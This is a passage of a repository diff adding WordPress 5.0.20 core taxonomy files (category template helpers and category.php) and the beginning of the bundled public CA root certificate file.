+		return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args );
+	}
+
+	else
+		return $return;
+}
+
+/**
+ * Serves as a callback for comparing objects based on name.
+ *
+ * Used with `uasort()`.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param object $a The first object to compare.
+ * @param object $b The second object to compare.
+ * @return int Negative number if `$a->name` is less than `$b->name`, zero if they are equal,
+ *             or greater than zero if `$a->name` is greater than `$b->name`.
+ */
+function _wp_object_name_sort_cb( $a, $b ) {
+	return strnatcasecmp( $a->name, $b->name );
+}
+
+/**
+ * Serves as a callback for comparing objects based on count.
+ *
+ * Used with `uasort()`.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param object $a The first object to compare.
+ * @param object $b The second object to compare.
+ * @return bool Whether the count value for `$a` is greater than the count value for `$b`.
+ */
+function _wp_object_count_sort_cb( $a, $b ) {
+	return ( $a->count > $b->count );
+}
+
+//
+// Helper functions
+//
+
+/**
+ * Retrieve HTML list content for category list.
+ *
+ * @uses Walker_Category to create HTML list content.
+ * @since 2.1.0
+ * @see Walker_Category::walk() for parameters and return description.
+ * @return string
+ */
+function walk_category_tree() {
+	$args = func_get_args();
+	// the user's options are the third parameter
+	if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) {
+		$walker = new Walker_Category;
+	} else {
+		$walker = $args[2]['walker'];
+	}
+	return call_user_func_array( array( $walker, 'walk' ), $args );
+}
+
+/**
+ * Retrieve HTML dropdown (select) content for category list.
+ *
+ * @uses Walker_CategoryDropdown to create HTML dropdown content.
+ * @since 2.1.0
+ * @see Walker_CategoryDropdown::walk() for parameters and return description.
+ * @return string
+ */
+function walk_category_dropdown_tree() {
+	$args = func_get_args();
+	// the user's options are the third parameter
+	if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) {
+		$walker = new Walker_CategoryDropdown;
+	} else {
+		$walker = $args[2]['walker'];
+	}
+	return call_user_func_array( array( $walker, 'walk' ), $args );
+}
+
+//
+// Tags
+//
+
+/**
+ * Retrieve the link to the tag.
+ *
+ * @since 2.3.0
+ * @see get_term_link()
+ *
+ * @param int|object $tag Tag ID or object.
+ * @return string Link on success, empty string if tag does not exist.
+ */
+function get_tag_link( $tag ) {
+	return get_category_link( $tag );
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @param int $id Post ID.
+ * @return array|false|WP_Error Array of tag objects on success, false on failure.
+ */
+function get_the_tags( $id = 0 ) {
+
+	/**
+	 * Filters the array of tags for the given post.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @see get_the_terms()
+	 *
+	 * @param array $terms An array of tags for the given post.
+	 */
+	return apply_filters( 'get_the_tags', get_the_terms( $id, 'post_tag' ) );
+}
+
+/**
+ * Retrieve the tags for a post formatted as a string.
+ *
+ * @since 2.3.0
+ *
+ * @param string $before Optional. Before tags.
+ * @param string $sep Optional. Between tags.
+ * @param string $after Optional. After tags.
+ * @param int $id Optional. Post ID. Defaults to the current post.
+ * @return string|false|WP_Error A list of tags on success, false if there are no terms, WP_Error on failure.
+ */
+function get_the_tag_list( $before = '', $sep = '', $after = '', $id = 0 ) {
+
+	/**
+	 * Filters the tags list for a given post.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $tag_list List of tags.
+	 * @param string $before   String to use before tags.
+	 * @param string $sep      String to use between the tags.
+	 * @param string $after    String to use after tags.
+	 * @param int    $id       Post ID.
+	 */
+	return apply_filters( 'the_tags', get_the_term_list( $id, 'post_tag', $before, $sep, $after ), $before, $sep, $after, $id );
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ */
+function the_tags( $before = null, $sep = ', ', $after = '' ) {
+	if ( null === $before )
+		$before = __('Tags: ');
+
+	$the_tags = get_the_tag_list( $before, $sep, $after );
+
+	if ( ! is_wp_error( $the_tags ) ) {
+		echo $the_tags;
+	}
+}
+
+/**
+ * Retrieve tag description.
+ *
+ * @since 2.8.0
+ *
+ * @param int $tag Optional. Tag ID. Will use global tag ID by default.
+ * @return string Tag description, available.
+ */
+function tag_description( $tag = 0 ) {
+	return term_description( $tag );
+}
+
+/**
+ * Retrieve term description.
+ *
+ * @since 2.8.0
+ * @since 4.9.2 The `$taxonomy` parameter was deprecated.
+ *
+ * @param int  $term       Optional. Term ID. Will use global term ID by default.
+ * @param null $deprecated Deprecated argument.
+ * @return string Term description, available.
+ */
+function term_description( $term = 0, $deprecated = null ) {
+	if ( ! $term && ( is_tax() || is_tag() || is_category() ) ) {
+		$term = get_queried_object();
+		if ( $term ) {
+			$term = $term->term_id;
+		}
+	}
+	$description = get_term_field( 'description', $term );
+	return is_wp_error( $description ) ? '' : $description;
+}
+
+/**
+ * Retrieve the terms of the taxonomy that are attached to the post.
+ *
+ * @since 2.5.0
+ *
+ * @param int|object $post Post ID or object.
+ * @param string $taxonomy Taxonomy name.
+ * @return array|false|WP_Error Array of WP_Term objects on success, false if there are no terms
+ *                              or the post does not exist, WP_Error on failure.
+ */
+function get_the_terms( $post, $taxonomy ) {
+	if ( ! $post = get_post( $post ) )
+		return false;
+
+	$terms = get_object_term_cache( $post->ID, $taxonomy );
+	if ( false === $terms ) {
+		$terms = wp_get_object_terms( $post->ID, $taxonomy );
+		if ( ! is_wp_error( $terms ) ) {
+			$term_ids = wp_list_pluck( $terms, 'term_id' );
+			wp_cache_add( $post->ID, $term_ids, $taxonomy . '_relationships' );
+		}
+	}
+
+	/**
+	 * Filters the list of terms attached to the given post.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array|WP_Error $terms    List of attached terms, or WP_Error on failure.
+	 * @param int            $post_id  Post ID.
+	 * @param string         $taxonomy Name of the taxonomy.
+	 */
+	$terms = apply_filters( 'get_the_terms', $terms, $post->ID, $taxonomy );
+
+	if ( empty( $terms ) )
+		return false;
+
+	return $terms;
+}
+
+/**
+ * Retrieve a post's terms as a list with specified format.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Post ID.
+ * @param string $taxonomy Taxonomy name.
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return string|false|WP_Error A list of terms on success, false if there are no terms, WP_Error on failure.
+ */
+function get_the_term_list( $id, $taxonomy, $before = '', $sep = '', $after = '' ) {
+	$terms = get_the_terms( $id, $taxonomy );
+
+	if ( is_wp_error( $terms ) )
+		return $terms;
+
+	if ( empty( $terms ) )
+		return false;
+
+	$links = array();
+
+	foreach ( $terms as $term ) {
+		$link = get_term_link( $term, $taxonomy );
+		if ( is_wp_error( $link ) ) {
+			return $link;
+		}
+		$links[] = '<a href="' . esc_url( $link ) . '" rel="tag">' . $term->name . '</a>';
+	}
+
+	/**
+	 * Filters the term links for a given taxonomy.
+	 *
+	 * The dynamic portion of the filter name, `$taxonomy`, refers
+	 * to the taxonomy slug.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $links An array of term links.
+	 */
+	$term_links = apply_filters( "term_links-{$taxonomy}", $links );
+
+	return $before . join( $sep, $term_links ) . $after;
+}
+
+/**
+ * Retrieve term parents with separator.
+ *
+ * @since 4.8.0
+ *
+ * @param int     $term_id  Term ID.
+ * @param string  $taxonomy Taxonomy name.
+ * @param string|array $args {
+ *     Array of optional arguments.
+ *
+ *     @type string $format    Use term names or slugs for display. Accepts 'name' or 'slug'.
+ *                             Default 'name'.
+ *     @type string $separator Separator for between the terms. Default '/'.
+ *     @type bool   $link      Whether to format as a link. Default true.
+ *     @type bool   $inclusive Include the term to get the parents for. Default true.
+ * }
+ * @return string|WP_Error A list of term parents on success, WP_Error or empty string on failure.
+ */
+function get_term_parents_list( $term_id, $taxonomy, $args = array() ) {
+	$list = '';
+	$term = get_term( $term_id, $taxonomy );
+
+	if ( is_wp_error( $term ) ) {
+		return $term;
+	}
+
+	if ( ! $term ) {
+		return $list;
+	}
+
+	$term_id = $term->term_id;
+
+	$defaults = array(
+		'format'    => 'name',
+		'separator' => '/',
+		'link'      => true,
+		'inclusive' => true,
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	foreach ( array( 'link', 'inclusive' ) as $bool ) {
+		$args[ $bool ] = wp_validate_boolean( $args[ $bool ] );
+	}
+
+	$parents = get_ancestors( $term_id, $taxonomy, 'taxonomy' );
+
+	if ( $args['inclusive'] ) {
+		array_unshift( $parents, $term_id );
+	}
+
+	foreach ( array_reverse( $parents ) as $term_id ) {
+		$parent = get_term( $term_id, $taxonomy );
+		$name   = ( 'slug' === $args['format'] ) ? $parent->slug : $parent->name;
+
+		if ( $args['link'] ) {
+			$list .= '<a href="' . esc_url( get_term_link( $parent->term_id, $taxonomy ) ) . '">' . $name . '</a>' . $args['separator'];
+		} else {
+			$list .= $name . $args['separator'];
+		}
+	}
+
+	return $list;
+}
+
+/**
+ * Display the terms in a list.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Post ID.
+ * @param string $taxonomy Taxonomy name.
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return false|void False on WordPress error.
+ */
+function the_terms( $id, $taxonomy, $before = '', $sep = ', ', $after = '' ) {
+	$term_list = get_the_term_list( $id, $taxonomy, $before, $sep, $after );
+
+	if ( is_wp_error( $term_list ) )
+		return false;
+
+	/**
+	 * Filters the list of terms to display.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array  $term_list List of terms to display.
+	 * @param string $taxonomy  The taxonomy name.
+	 * @param string $before    String to use before the terms.
+	 * @param string $sep       String to use between the terms.
+	 * @param string $after     String to use after the terms.
+	 */
+	echo apply_filters( 'the_terms', $term_list, $taxonomy, $before, $sep, $after );
+}
+
+/**
+ * Check if the current post has any of given category.
+ *
+ * @since 3.1.0
+ *
+ * @param string|int|array $category Optional. The category name/term_id/slug or array of them to check for.
+ * @param int|object $post Optional. Post to check instead of the current post.
+ * @return bool True if the current post has any of the given categories (or any category, if no category specified).
+ */
+function has_category( $category = '', $post = null ) {
+	return has_term( $category, 'category', $post );
+}
+
+/**
+ * Checks if the current post has any of given tags.
+ *
+ * The given tags are checked against the post's tags' term_ids, names and slugs.
+ * Tags given as integers will only be checked against the post's tags' term_ids.
+ * If no tags are given, determines if post has any tags.
+ *
+ * Prior to v2.7 of WordPress, tags given as integers would also be checked against the post's tags' names and slugs (in addition to term_ids)
+ * Prior to v2.7, this function could only be used in the WordPress Loop.
+ * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.6.0
+ *
+ * @param string|int|array $tag Optional. The tag name/term_id/slug or array of them to check for.
+ * @param int|object $post Optional. Post to check instead of the current post. (since 2.7.0)
+ * @return bool True if the current post has any of the given tags (or any tag, if no tag specified).
+ */
+function has_tag( $tag = '', $post = null ) {
+	return has_term( $tag, 'post_tag', $post );
+}
+
+/**
+ * Check if the current post has any of given terms.
+ *
+ * The given terms are checked against the post's terms' term_ids, names and slugs.
+ * Terms given as integers will only be checked against the post's terms' term_ids.
+ * If no terms are given, determines if post has any terms.
+ *
+ * @since 3.1.0
+ *
+ * @param string|int|array $term Optional. The term name/term_id/slug or array of them to check for.
+ * @param string $taxonomy Taxonomy name
+ * @param int|object $post Optional. Post to check instead of the current post.
+ * @return bool True if the current post has any of the given tags (or any tag, if no tag specified).
+ */
+function has_term( $term = '', $taxonomy = '', $post = null ) {
+	$post = get_post($post);
+
+	if ( !$post )
+		return false;
+
+	$r = is_object_in_term( $post->ID, $taxonomy, $term );
+	if ( is_wp_error( $r ) )
+		return false;
+
+	return $r;
+}
Index: /tags/5.0.20/src/wp-includes/category.php
===================================================================
--- /tags/5.0.20/src/wp-includes/category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/category.php	(revision 56912)
@@ -0,0 +1,360 @@
+<?php
+/**
+ * Taxonomy API: Core category-specific functionality
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ */
+
+/**
+ * Retrieve list of category objects.
+ *
+ * If you change the type to 'link' in the arguments, then the link categories
+ * will be returned instead. Also all categories will be updated to be backward
+ * compatible with pre-2.3 plugins and themes.
+ *
+ * @since 2.1.0
+ * @see get_terms() Type of arguments that can be changed.
+ *
+ * @param string|array $args {
+ *     Optional. Arguments to retrieve categories. See get_terms() for additional options.
+ *
+ *     @type string $taxonomy Taxonomy to retrieve terms for. In this case, default 'category'.
+ * }
+ * @return array List of categories.
+ */
+function get_categories( $args = '' ) {
+	$defaults = array( 'taxonomy' => 'category' );
+	$args = wp_parse_args( $args, $defaults );
+
+	$taxonomy = $args['taxonomy'];
+
+	/**
+	 * Filters the taxonomy used to retrieve terms when calling get_categories().
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $taxonomy Taxonomy to retrieve terms from.
+	 * @param array  $args     An array of arguments. See get_terms().
+	 */
+	$taxonomy = apply_filters( 'get_categories_taxonomy', $taxonomy, $args );
+
+	// Back compat
+	if ( isset($args['type']) && 'link' == $args['type'] ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0',
+			/* translators: 1: "type => link", 2: "taxonomy => link_category" */
+			sprintf( __( '%1$s is deprecated. Use %2$s instead.' ),
+				'<code>type => link</code>',
+				'<code>taxonomy => link_category</code>'
+			)
+		);
+		$taxonomy = $args['taxonomy'] = 'link_category';
+	}
+
+	$categories = get_terms( $taxonomy, $args );
+
+	if ( is_wp_error( $categories ) ) {
+		$categories = array();
+	} else {
+		$categories = (array) $categories;
+		foreach ( array_keys( $categories ) as $k ) {
+			_make_cat_compat( $categories[ $k ] );
+		}
+	}
+
+	return $categories;
+}
+
+/**
+ * Retrieves category data given a category ID or category object.
+ *
+ * If you pass the $category parameter an object, which is assumed to be the
+ * category row object retrieved the database. It will cache the category data.
+ *
+ * If you pass $category an integer of the category ID, then that category will
+ * be retrieved from the database, if it isn't already cached, and pass it back.
+ *
+ * If you look at get_term(), then both types will be passed through several
+ * filters and finally sanitized based on the $filter parameter value.
+ *
+ * The category will converted to maintain backward compatibility.
+ *
+ * @since 1.5.1
+ *
+ * @param int|object $category Category ID or Category row object
+ * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to a
+ *                       WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
+ * @return object|array|WP_Error|null Category data in type defined by $output parameter.
+ *                                    WP_Error if $category is empty, null if it does not exist.
+ */
+function get_category( $category, $output = OBJECT, $filter = 'raw' ) {
+	$category = get_term( $category, 'category', $output, $filter );
+
+	if ( is_wp_error( $category ) )
+		return $category;
+
+	_make_cat_compat( $category );
+
+	return $category;
+}
+
+/**
+ * Retrieve category based on URL containing the category slug.
+ *
+ * Breaks the $category_path parameter up to get the category slug.
+ *
+ * Tries to find the child path and will return it. If it doesn't find a
+ * match, then it will return the first category matching slug, if $full_match,
+ * is set to false. If it does not, then it will return null.
+ *
+ * It is also possible that it will return a WP_Error object on failure. Check
+ * for it when using this function.
+ *
+ * @since 2.1.0
+ *
+ * @param string $category_path URL containing category slugs.
+ * @param bool   $full_match    Optional. Whether full path should be matched.
+ * @param string $output        Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                              a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @return WP_Term|array|WP_Error|null Type is based on $output value.
+ */
+function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) {
+	$category_path = rawurlencode( urldecode( $category_path ) );
+	$category_path = str_replace( '%2F', '/', $category_path );
+	$category_path = str_replace( '%20', ' ', $category_path );
+	$category_paths = '/' . trim( $category_path, '/' );
+	$leaf_path  = sanitize_title( basename( $category_paths ) );
+	$category_paths = explode( '/', $category_paths );
+	$full_path = '';
+	foreach ( (array) $category_paths as $pathdir ) {
+		$full_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title( $pathdir );
+	}
+	$categories = get_terms( 'category', array('get' => 'all', 'slug' => $leaf_path) );
+
+	if ( empty( $categories ) ) {
+		return;
+	}
+
+	foreach ( $categories as $category ) {
+		$path = '/' . $leaf_path;
+		$curcategory = $category;
+		while ( ( $curcategory->parent != 0 ) && ( $curcategory->parent != $curcategory->term_id ) ) {
+			$curcategory = get_term( $curcategory->parent, 'category' );
+			if ( is_wp_error( $curcategory ) ) {
+				return $curcategory;
+			}
+			$path = '/' . $curcategory->slug . $path;
+		}
+
+		if ( $path == $full_path ) {
+			$category = get_term( $category->term_id, 'category', $output );
+			_make_cat_compat( $category );
+			return $category;
+		}
+	}
+
+	// If full matching is not required, return the first cat that matches the leaf.
+	if ( ! $full_match ) {
+		$category = get_term( reset( $categories )->term_id, 'category', $output );
+		_make_cat_compat( $category );
+		return $category;
+	}
+}
+
+/**
+ * Retrieve category object by category slug.
+ *
+ * @since 2.3.0
+ *
+ * @param string $slug The category slug.
+ * @return object Category data object
+ */
+function get_category_by_slug( $slug  ) {
+	$category = get_term_by( 'slug', $slug, 'category' );
+	if ( $category )
+		_make_cat_compat( $category );
+
+	return $category;
+}
+
+/**
+ * Retrieve the ID of a category from its name.
+ *
+ * @since 1.0.0
+ *
+ * @param string $cat_name Category name.
+ * @return int 0, if failure and ID of category on success.
+ */
+function get_cat_ID( $cat_name ) {
+	$cat = get_term_by( 'name', $cat_name, 'category' );
+	if ( $cat )
+		return $cat->term_id;
+	return 0;
+}
+
+/**
+ * Retrieve the name of a category from its ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $cat_id Category ID
+ * @return string Category name, or an empty string if category doesn't exist.
+ */
+function get_cat_name( $cat_id ) {
+	$cat_id = (int) $cat_id;
+	$category = get_term( $cat_id, 'category' );
+	if ( ! $category || is_wp_error( $category ) )
+		return '';
+	return $category->name;
+}
+
+/**
+ * Check if a category is an ancestor of another category.
+ *
+ * You can use either an id or the category object for both parameters. If you
+ * use an integer the category will be retrieved.
+ *
+ * @since 2.1.0
+ *
+ * @param int|object $cat1 ID or object to check if this is the parent category.
+ * @param int|object $cat2 The child category.
+ * @return bool Whether $cat2 is child of $cat1
+ */
+function cat_is_ancestor_of( $cat1, $cat2 ) {
+	return term_is_ancestor_of( $cat1, $cat2, 'category' );
+}
+
+/**
+ * Sanitizes category data based on context.
+ *
+ * @since 2.3.0
+ *
+ * @param object|array $category Category data
+ * @param string $context Optional. Default is 'display'.
+ * @return object|array Same type as $category with sanitized data for safe use.
+ */
+function sanitize_category( $category, $context = 'display' ) {
+	return sanitize_term( $category, 'category', $context );
+}
+
+/**
+ * Sanitizes data in single category key field.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field Category key to sanitize
+ * @param mixed $value Category value to sanitize
+ * @param int $cat_id Category ID
+ * @param string $context What filter to use, 'raw', 'display', etc.
+ * @return mixed Same type as $value after $value has been sanitized.
+ */
+function sanitize_category_field( $field, $value, $cat_id, $context ) {
+	return sanitize_term_field( $field, $value, $cat_id, 'category', $context );
+}
+
+/* Tags */
+
+/**
+ * Retrieves all post tags.
+ *
+ * @since 2.3.0
+ * @see get_terms() For list of arguments to pass.
+ *
+ * @param string|array $args Tag arguments to use when retrieving tags.
+ * @return array List of tags.
+ */
+function get_tags( $args = '' ) {
+	$tags = get_terms( 'post_tag', $args );
+
+	if ( empty( $tags ) ) {
+		$return = array();
+		return $return;
+	}
+
+	/**
+	 * Filters the array of term objects returned for the 'post_tag' taxonomy.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array $tags Array of 'post_tag' term objects.
+	 * @param array $args An array of arguments. @see get_terms()
+	 */
+	$tags = apply_filters( 'get_tags', $tags, $args );
+	return $tags;
+}
+
+/**
+ * Retrieve post tag by tag ID or tag object.
+ *
+ * If you pass the $tag parameter an object, which is assumed to be the tag row
+ * object retrieved the database. It will cache the tag data.
+ *
+ * If you pass $tag an integer of the tag ID, then that tag will
+ * be retrieved from the database, if it isn't already cached, and pass it back.
+ *
+ * If you look at get_term(), then both types will be passed through several
+ * filters and finally sanitized based on the $filter parameter value.
+ *
+ * @since 2.3.0
+ *
+ * @param int|WP_Term|object $tag    A tag ID or object.
+ * @param string             $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                                   a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string             $filter Optional. Default is raw or no WordPress defined filter will applied.
+ * @return WP_Term|array|WP_Error|null Tag data in type defined by $output parameter. WP_Error if $tag is empty, null if it does not exist.
+ */
+function get_tag( $tag, $output = OBJECT, $filter = 'raw' ) {
+	return get_term( $tag, 'post_tag', $output, $filter );
+}
+
+/* Cache */
+
+/**
+ * Remove the category cache data based on ID.
+ *
+ * @since 2.1.0
+ *
+ * @param int $id Category ID
+ */
+function clean_category_cache( $id ) {
+	clean_term_cache( $id, 'category' );
+}
+
+/**
+ * Update category structure to old pre 2.3 from new taxonomy structure.
+ *
+ * This function was added for the taxonomy support to update the new category
+ * structure with the old category one. This will maintain compatibility with
+ * plugins and themes which depend on the old key or property names.
+ *
+ * The parameter should only be passed a variable and not create the array or
+ * object inline to the parameter. The reason for this is that parameter is
+ * passed by reference and PHP will fail unless it has the variable.
+ *
+ * There is no return value, because everything is updated on the variable you
+ * pass to it. This is one of the features with using pass by reference in PHP.
+ *
+ * @since 2.3.0
+ * @since 4.4.0 The `$category` parameter now also accepts a WP_Term object.
+ * @access private
+ *
+ * @param array|object|WP_Term $category Category Row object or array
+ */
+function _make_cat_compat( &$category ) {
+	if ( is_object( $category ) && ! is_wp_error( $category ) ) {
+		$category->cat_ID = $category->term_id;
+		$category->category_count = $category->count;
+		$category->category_description = $category->description;
+		$category->cat_name = $category->name;
+		$category->category_nicename = $category->slug;
+		$category->category_parent = $category->parent;
+	} elseif ( is_array( $category ) && isset( $category['term_id'] ) ) {
+		$category['cat_ID'] = &$category['term_id'];
+		$category['category_count'] = &$category['count'];
+		$category['category_description'] = &$category['description'];
+		$category['cat_name'] = &$category['name'];
+		$category['category_nicename'] = &$category['slug'];
+		$category['category_parent'] = &$category['parent'];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/certificates/ca-bundle.crt
===================================================================
--- /tags/5.0.20/src/wp-includes/certificates/ca-bundle.crt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/certificates/ca-bundle.crt	(revision 56912)
@@ -0,0 +1,4327 @@
+##
+## Bundle of CA Root Certificates
+##
+## Certificate data from Mozilla as of: Wed Sep 16 08:58:11 2015
+## Includes a WordPress Modification - We include the 'legacy' 1024bit certificates
+## for backward compatibility. See https://core.trac.wordpress.org/ticket/34935#comment:10
+##
+## This is a bundle of X.509 certificates of public Certificate Authorities
+## (CA). These were automatically extracted from Mozilla's root certificates
+## file (certdata.txt).  This file can be found in the mozilla source tree:
+## http://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt
+##
+## It contains the certificates in PEM format and therefore
+## can be directly used with curl / libcurl / php_curl, or with
+## an Apache+mod_ssl webserver for SSL client authentication.
+## Just configure this file as the SSLCACertificateFile.
+##
+## Conversion done with mk-ca-bundle.pl version 1.25.
+## SHA1: ed3c0bbfb7912bcc00cd2033b0cb85c98d10559c
+##
+
+GTE CyberTrust Global Root
+==========================
+-----BEGIN CERTIFICATE-----
+MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9HVEUg
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+NMQkpw0PlZPvy5TYnh+dXIVtx6quTx8itc2VrbqnzPmrC3p/
+-----END CERTIFICATE-----
+
+Thawte Server CA
+================
+-----BEGIN CERTIFICATE-----
+MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT
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+-----END CERTIFICATE-----
+
+Thawte Premium Server CA
+========================
+-----BEGIN CERTIFICATE-----
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+-----END CERTIFICATE-----
+
+Equifax Secure CA
+=================
+-----BEGIN CERTIFICATE-----
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+-----END CERTIFICATE-----
+
+Verisign Class 3 Public Primary Certification Authority
+=======================================================
+-----BEGIN CERTIFICATE-----
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+-----END CERTIFICATE-----
+
+Verisign Class 3 Public Primary Certification Authority - G2
+============================================================
+-----BEGIN CERTIFICATE-----
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+-----END CERTIFICATE-----
+
+GlobalSign Root CA
+==================
+-----BEGIN CERTIFICATE-----
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+-----END CERTIFICATE-----
+
+GlobalSign Root CA - R2
+=======================
+-----BEGIN CERTIFICATE-----
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+Go Daddy Class 2 CA
+===================
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+Starfield Class 2 CA
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+CA Disig
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+Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi
+nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+
+vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO
+e4pIb4tF9g==
+-----END CERTIFICATE-----
+
+Entrust Root Certification Authority - EC1
+==========================================
+-----BEGIN CERTIFICATE-----
+MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx
+FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn
+YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl
+ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5
+IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw
+FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs
+LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg
+dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt
+IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy
+AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef
+9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
+FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h
+vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8
+kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
+-----END CERTIFICATE-----
+
+CFCA EV ROOT
+============
+-----BEGIN CERTIFICATE-----
+MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE
+CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB
+IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw
+MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD
+DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV
+BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD
+7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN
+uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW
+ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7
+xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f
+py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K
+gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol
+hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ
+tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf
+BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
